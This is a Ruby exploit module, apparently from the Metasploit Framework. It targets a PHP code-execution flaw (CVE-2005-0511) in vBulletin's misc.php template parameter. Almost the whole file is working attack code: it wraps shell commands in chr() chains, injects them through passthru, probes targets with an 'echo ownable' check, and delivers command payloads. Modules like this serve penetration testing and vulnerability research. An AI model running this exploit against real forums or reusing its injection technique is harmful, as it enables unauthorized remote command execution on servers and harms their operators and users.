root/framework3/trunk/modules/exploits/unix/webapp/php_vbulletin_template.rb

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'

module Msf

class Exploits::Unix::Webapp::PhpvBulletinTemplateName < Msf::Exploit::Remote

        include Exploit::Remote::HttpClient

        # XXX This module needs an overhaul
        def initialize(info = {})
                super(update_info(info, 
                        'Name'           => 'vBulletin misc.php Template Name Arbitrary Code Execution',
                        'Description'    => %q{
                                This module exploits an arbitrary PHP code execution flaw in
                                the vBulletin web forum software. This vulnerability is only
                                present when the "Add Template Name in HTML Comments" option
                                is enabled. All versions of vBulletin prior to 3.0.7 are
                                affected.
                        },
                        'Author'         => [ 'str0ke <str0ke[at]milw0rm.com>', 'cazz' ],
                        'License'        => BSD_LICENSE,
                        'Version'        => '$Revision$',
                        'References'     => [
                                [ 'BID', '12622'],
                                [ 'OSVDB', '14047'],
                                [ 'CVE', '2005-0511'],
                                [ 'MIL', '81'],
                        ],
                        'Privileged'     => false,
                        'Platform'       => ['unix', 'solaris'],
                        'Payload'        => {
                                        'Space' => 512,
                                        'DisableNops' => true,
                                        'Keys'  => ['cmd', 'cmd_bash'],
                                },
                        'Targets'        => [ ['Automatic', { }], ],
                        'DefaultTarget' => 0,
                        'DisclosureDate' => 'Feb 25 2005'
                        ))


                register_options(
                        [
                                OptString.new('PATH', [ true,  "Path to misc.php", '/forum/misc.php']),
                        ], self.class
                        )
        
                deregister_options(
                        'HTTP::junk_slashes' # For some reason junk_slashes doesn't always work, so turn that off for now. 
                )
        end

        def go(command)
                wrapper = rand_text_alphanumeric(rand(128)+32)

                command = "echo #{wrapper};#{command};echo #{wrapper};"
                encoded = command.unpack("C*").collect{|x| "chr(#{x})"}.join('.')

                res = send_request_cgi({
                        'uri'      => datastore['PATH'],
                        'method'   => 'GET',
                        'vars_get' =>
                        {
                                'do' => "page",
                                'template' => "{${passthru(#{encoded})}}"
                        }
                }, 5)

                if (res and res.body)
                        b = /#{wrapper}[\s\r\n]*(.*)[\s\r\n]*#{wrapper}/sm.match(res.body)
                        if b
                                return b.captures[0]
                        elsif datastore['HTTP::chunked'] == true
                                b = /chunked Transfer-Encoding forbidden/.match(res.body)
                                if b
                                        raise RuntimeError, 'Target PHP installation does not support chunked encoding.  Support for chunked encoded requests was added to PHP on 12/15/2005, try disabling HTTP::chunked and trying again.'
                                end
                        end
                end

                return nil
        end
        
        def check
                response = go("echo ownable")
                if (!response.nil? and response =~ /ownable/sm)
                        return Exploit::CheckCode::Vulnerable
                end
                return Exploit::CheckCode::Safe
        end

        def exploit
                response = go(payload.encoded)
                if response == nil
                        print_status('exploit failed')
                else
                        if response.length == 0
                                print_status('exploit successful')
                        else 
                                print_status("Command returned #{response}")
                        end
                        handler
                end
        end
end     
end